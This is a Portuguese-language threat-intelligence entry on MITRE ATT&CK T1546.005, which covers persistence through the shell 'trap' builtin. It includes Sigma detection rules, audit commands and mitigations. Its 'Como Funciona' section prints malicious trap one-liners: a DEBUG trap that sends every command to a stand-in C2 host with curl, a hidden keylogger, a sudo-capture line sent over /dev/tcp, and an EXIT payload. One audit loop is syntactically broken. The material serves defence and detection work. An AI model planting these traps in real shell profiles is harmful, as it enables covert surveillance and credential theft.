# T1546.005 - Trap ## Descrição Adversários podem estabelecer persistência em sistemas Linux e macOS abusando do comando `trap`, um builtin do shell Bash e shells POSIX compatíveis que permite registrar manipuladores de sinais - ou sejá, comandos que serão executados automaticamente quando o shell receber sinais de sistema específicos. O `trap` é uma funcionalidade legítima e amplamente utilizada em scripts de shell para garantir limpeza adequada de recursos, tratamento de erros e terminação graciosa quando o usuário interrompe um script (por exemplo, com `Ctrl+C`). Adversários, entretanto, exploram essa mesma funcionalidade para injetar execução de código malicioso em shells de usuários ou em scripts de sistema que processam sinais. O formato básico do comando é `trap 'lista de comandos' sinais`, onde a lista de comandos é executada sempre que um dos sinais específicados é recebido pelo shell. Os sinais mais relevantes para exploração são: `EXIT` (executado quando o shell termina normalmente), `DEBUG` (executado antes de cada comando - extremamente poderoso para keylogging de shell), `ERR` (executado quando um comando retorna código de saída diferente de zero), e sinais POSIX numéricos como `SIGINT` (2), `SIGTERM` (15) e `SIGHUP` (1). A versatilidade dos sinais disponíveis torna essa técnica aplicável a uma variedade de cenários de persistência e evasão. A técnica é particularmente eficaz quando inserida em arquivos de inicialização de shell - como `.bashrc`, `.bash_profile`, `.profile`, `.zshrc` ou `/etc/bash.bashrc` - que são carregados toda vez que um novo shell interativo é iniciado. Dessa forma, o trap malicioso persiste entre sessões e é re-registrado automaticamente sem nenhuma entrada adicional do adversário. Em ambientes de servidores Linux - predominantes em infraestrutura de nuvem, servidores web e ambientes de desenvolvimento - essa técnica é especialmente preocupante por ser difícil de detectar via inspeção visual simples dos processos em execução, já que o código malicioso só é executado quando o sinal disparador ocorre. > **Técnica pai:** [[t1546-event-triggered-execution|T1546 - Event Triggered Execution]] > **Táticas MITRE:** Persistence, Privilege Escalation > **Plataformas afetadas:** Linux, macOS (qualquer sistema com shell POSIX) ## Como Funciona ### Sintaxe e Sinais Exploráveis O comando `trap` suporta sinais tanto por nome quanto por número. Os principais sinais explorados por adversários: | Sinal | Número | Trigger | Uso Malicioso | |-------|--------|---------|---------------| | `EXIT` | - | Término de qualquer shell | Executa payload ao sair da sessão | | `DEBUG` | - | Antes de cada comando executado | Keylogger de shell - captura todos os comandos | | `ERR` | - | Quando comando falha | Execução silenciosa em erros | | `SIGINT` | 2 | Ctrl+C | Captura interrupções, executa payload | | `SIGHUP` | 1 | Fechamento de terminal/SSH | Executa ao desconectar sessão SSH | | `SIGTERM` | 15 | Término gracioso | Executa antes do processo ser morto | ### Persistência via Arquivos de Inicialização A forma mais comum de persistência é a inserção de um comando `trap` em arquivos carregados automaticamente pelo shell: ```bash # Inserido em ~/.bashrc ou /etc/bash.bashrc trap 'curl -s http://c2.example.com/collect?cmd=$(history 1 | base64) &' DEBUG ``` Essa linha, inserida no final de `.bashrc`, faria com que cada comando executado no bash fosse silenciosamente exfiltrado para um servidor C2, base64-encoded. O usuário não percebe nada, pois o trap `DEBUG` não produz saída visível. ### Variações de Implementação **Keylogger de shell com trap DEBUG:** ```bash trap 'printf "%s\n" "$BASH_COMMAND" >> /tmp/.bash_history_hidden' DEBUG ``` **Execução de payload ao terminar sessão SSH:** ```bash trap '/tmp/.updaté &>/dev/null &' EXIT ``` **Captura de credenciais via sudo:** ```bash # Inserido no perfil - captura quando sudo é chamado trap '[[ "$BASH_COMMAND" == *sudo* ]] && echo "$BASH_COMMAND" >> /dev/tcp/10.0.0.1/4444' DEBUG ``` **Trap em scripts de sistema para persistência de root:** Se um adversário pode modificar scripts de sistema executados como root (ex: scripts de backup, cron jobs, scripts de inicialização em `/etc/init.d/`), inserir um `trap EXIT` nesses scripts garante execução privilegiada sempre que o script terminar. ### Diferença entre trap interativo e em scripts - Em **shells interativos**: `trap` persiste apenas durante a sessão atual, a menos que sejá carregado por arquivos de inicialização - Em **scripts**: `trap` é válido apenas durante a execução do script - O vetor de maior impacto é a modificação de arquivos de inicialização (`.bashrc`, `/etc/profile.d/`) para que o trap sejá re-registrado em cada nova sessão shell ## Attack Flow ```mermaid graph TB A["Acesso Inicial ao Sistema<br/>(SSH comprometido / RCE / acesso físico)"] --> B["Identificação de Vetores de Persistência<br/>(enumerar arquivos de inicialização do shell)"] B --> C{"Nível de acesso<br/>disponível?"} C -->|"Acesso de usuário"| D["Modificar ~/.bashrc ou ~/.bash_profile<br/>inserir trap malicioso"] C -->|"Acesso root"| E["Modificar /etc/bash.bashrc<br/>/etc/profile.d/ ou scripts de cron/init"] D --> F["Trap Registrado<br/>Em Próxima Sessão Shell"] E --> F F --> G{"Sinal disparador<br/>ocorre?"} G -->|"DEBUG - cada comando"| H["Keylogging de Comandos Shell<br/>(captura todas as ações do usuário)"] G -->|"EXIT - sessão termina"| I["Execução de Payload<br/>ao Fechar Terminal/SSH"] G -->|"SIGINT - Ctrl+C"| J["Execução ao Interromper<br/>Script ou Processo"] H --> K["Exfiltração para C2<br/>/ Escalonamento de Privilégios"] I --> K J --> K K --> L["Movimentação Lateral<br/>/ Coleta de Credenciais<br/>/ Implante Persistente"] ``` ## Exemplos de Uso ### Comprometimento de Servidores Linux em Ambientes de Nuvem Grupos de ameaça que comprometem instâncias EC2, VMs do Azure ou containers Linux frequentemente adicionam traps em arquivos de inicialização de shell como mecanismo de persistência secundário - um "seguro" que mantém o acesso mesmo que o payload principal sejá removido. Esse padrão foi documentado em campanhas de cryptojacking e operações de espionagem industrial que visam servidores de desenvolvimento e repositórios de código-fonte. ### Grupos APT com Foco em Infraestrutura Linux Grupos como [[g0096-apt41|APT41]] (dupla espionagem/crime financeiro) e atores vinculados a operações de espionagem contra infraestrutura crítica têm histórico de usar técnicas de persistência em shell Linux em servidores comprometidos. A modificação de `/etc/bash.bashrc` ou arquivos em `/etc/profile.d/` garante que o trap malicioso sejá carregado para todos os usuários do sistema, incluindo aqueles que se autenticam via SSH para administração. ### Malware de Espionagem em macOS Em sistemas macOS, o uso de trap em scripts `.zshrc` (shell padrão desde macOS Catalina) é análogo ao uso em `.bashrc` no Linux. Campanha documentadas contra jornalistas e ativistas usando macOS incluíram modificações em arquivos de perfil do Zsh para estabelecer persistência discreta. O sinal `DEBUG` é especialmente perigoso no macOS Terminal, pois pode capturar comandos de administração, incluindo uso de chaves SSH e tokens de API inseridos manualmente. ### Operadores de Ransomware e Pós-Exploração Na fase de pós-exploração, operadores de ransomware que comprometem servidores Linux (especialmente alvos VMware ESXi e sistemas de backup) usam técnicas de persistência em shell para garantir que o payload de criptografia possa ser re-executado caso sejá detectado e removido antes da conclusão. Inserir `trap EXIT` em scripts de sistema amplamente utilizados (como scripts de backup noturnos) garante uma jánela de re-execução sem necessidade de nova exploração. ## Detecção ### Regra Sigma - Modificação de Arquivos de Inicialização com trap ```yaml title: Shell Initialization File Modified with Trap Command status: experimental description: Detecta inserção do comando trap em arquivos de perfil do shell, indicando possível persistência maliciosa logsource: category: file_event product: linux detection: selection_files: TargetFilename|contains: - ".bashrc" - ".bash_profile" - ".profile" - ".zshrc" - "/etc/bash.bashrc" - "/etc/profile" - "/etc/profile.d/" selection_content: Contents|contains: "trap " filter_legitimate: Image|contains: - "/usr/bin/vim" - "/usr/bin/nano" - "/usr/bin/emacs" condition: selection_files and selection_content and not filter_legitimate falsepositives: - Administradores editando scripts de shell legítimos com uso de trap - Scripts de CI/CD que configuram trap para cleanup de recursos level: medium tags: - attack.persistence - attack.privilege_escalation - attack.t1546.005 ``` ### Regra Sigma - Uso de trap com Sinal DEBUG ```yaml title: Suspicious Shell Trap with DEBUG Signal status: experimental description: Detecta configuração de trap no sinal DEBUG, frequentemente usado para keylogging de shell logsource: category: process_creation product: linux detection: selection: CommandLine|contains: "trap " CommandLine|contains: "DEBUG" filter_legitimate_contexts: CommandLine|contains: - "set -o" - "shopt -s" condition: selection and not filter_legitimate_contexts falsepositives: - Scripts de debug legítimos que usam trap DEBUG para tracing - Ferramentas de profiling de shell level: high tags: - attack.persistence - attack.t1546.005 ``` ### Regra Sigma - Execução Suspeita via trap EXIT em Script de Sistema ```yaml title: Suspicious Network Connection from Shell Trap status: experimental description: Detecta conexões de rede iniciadas por processos filhos de bash/sh após sinal de término de shell logsource: category: network_connection product: linux detection: selection: ParentImage|endswith: - "/bash" - "/sh" - "/zsh" Initiated: "true" DestinationPort|gt: 1024 filter_known_processes: Image|contains: - "/usr/bin/curl" - "/usr/bin/wget" - "/usr/bin/ssh" condition: selection and filter_known_processes falsepositives: - Scripts legítimos de monitoramento que fazem requests HTTP ao finalizar level: medium tags: - attack.persistence - attack.t1546.005 - attack.exfiltration ``` ### Fontes de Dados para Detecção | Fonte | Eventos Relevantes | Ferramenta | |-------|-------------------|------------| | Auditd | Escritas em `.bashrc`, `/etc/profile.d/` | `auditctl -w ~/.bashrc -p wa` | | Sysmon para Linux | File creation/modification em arquivos de perfil | Sysmon Event ID 11 | | osquery | FIM em arquivos de inicialização de shell | `SELECT * FROM file_events` | | Falco | Regras para modificação de arquivos de shell | Custom Falco rule | | AuditD syscall | Execução de comandos com trace `DEBUG` | `execve` syscall audit | ### Detecção Manual Para auditar manualmente traps registrados em arquivos de inicialização: ```bash # Verificar traps em arquivos de perfil do sistema grep -r "trap " /etc/profile /etc/profile.d/ /etc/bash.bashrc 2>/dev/null # Verificar traps nos perfis de todos os usuários for user_home in /home/* /root; do for profile in .bashrc .bash_profile .profile .zshrc; do [[$profile" ]] && grep "trap " "$user_home/$profile" && echo " -> $user_home/$profile" done done ``` ## Mitigação Não há mitigações MITRE oficialmente mapeadas para T1546.005. As seguintes medidas defensivas são recomendadas com base em práticas de hardening: | Controle | Tipo | Descrição | |----------|------|-----------| | File Integrity Monitoring (FIM) | Detective | Monitorar arquivos de inicialização de shell para modificações não autorizadas. Ferramentas como AIDE, Tripwire, osquery ou Wazuh podem alertar sobre mudanças em `.bashrc`, `/etc/profile.d/` e similares. | | Auditd / AuditD rules | Detective | Configurar regras de auditoria para capturar escritas em arquivos de perfil de shell de todos os usuários e do sistema. | | Imutabilidade de Arquivos de Sistema | Preventive | Em servidores Linux, usar `chattr +i /etc/bash.bashrc /etc/profile` para tornar arquivos de inicialização do sistema imutáveis. Apenas root com privilégios explícitos pode desfazer a imutabilidade. | | Separação de Privilégios | Preventive | Minimizar o número de contas com shells interativos em servidores de produção. Usar shells restritos (`rbash`) ou sem shell (`/usr/sbin/nologin`) para contas de serviço. | | Monitoramento de Comportamento de Shell | Detective | Usar soluções de UEBA (User and Entity Behavior Analytics) que baselineiem o comportamento de sessões shell e alertem para padrões anômalos, como comandos executados logo após sinais de saída. | ## Contexto Brasil/LATAM O Brasil possui uma das maiores infraestruturas de servidores Linux da América Latina, especialmente em setores de e-commerce, fintech, telecomúnicações e cloud pública. A predominância de distribuições Ubuntu, CentOS/RHEL e Debian em produção cria um cenário onde T1546.005 é uma técnica relevante para ataques de pós-exploração e persistência de longo prazo. Grupos de ameaça com histórico de comprometimento de servidores Linux no Brasil - incluindo operadores de botnet para cryptomining, grupos de acesso inicial que vendem shells comprometidos em fóruns clandestinos e atores de espionagem industrial - frequentemente utilizam técnicas de persistência em shell como camada adicional de acesso. Em incidentes documentados de comprometimento de servidores web brasileiros, foram encontradas modificações em `/etc/bash.bashrc` e arquivos em `/etc/profile.d/` que executavam scripts de beacon ao iniciar novas sessões shell de administração. A detecção dessa técnica no Brasil é desafiada pela escassez de profissionais de SOC treinados em análise de shell Linux e pela ausência de soluções de FIM em muitas organizações de médio porte. Plataformas como Wazuh (open-source, popular no Brasil por custo zero) oferecem capacidade nativa de monitoramento de integridade de arquivos que cobre exatamente os arquivos de inicialização de shell relevantes para essa técnica. Para equipes de resposta a incidentes no Brasil que investigam comprometimentos de servidores Linux, a verificação de arquivos de inicialização de shell - incluindo aqueles de usuários não-interativos com UID < 1000 - deve ser parte do checklist padrão de forensics, pois traps maliciosos são frequentemente ignorados em favor de análise de processos e conexões de rede ativas. ## Referências - [[t1546-event-triggered-execution|T1546 - Event Triggered Execution]] - técnica pai - [[t1059-001-command-and-scripting-interpreter-unix-shell|T1059 - Command and Scripting Interpreter]] - execução via shell, frequentemente combinado - [[t1546-004-unix-shell-configuration-modification|T1546.004 - Unix Shell Configuration Modification]] - técnica relacionada de modificação de arquivos de inicialização - [[t1070-003-clear-command-history|T1070.003 - Clear Command History]] - frequentemente combinado para cobrir rastros de comandos registrados via DEBUG - [[t1105-ingress-tool-transfer|T1105 - Ingress Tool Transfer]] - transferência de payloads executados via trap - [[g0096-apt41|APT41]] - grupo com histórico de persistência em ambientes Linux via shell - [[t1027-obfuscated-files-or-information|T1027 - Obfuscated Files or Information]] - ofuscação de comandos inseridos via trap para evasão de detecção --- *Fonte: [MITRE ATT&CK - T1546.005](https://attack.mitre.org/techniques/T1546/005)*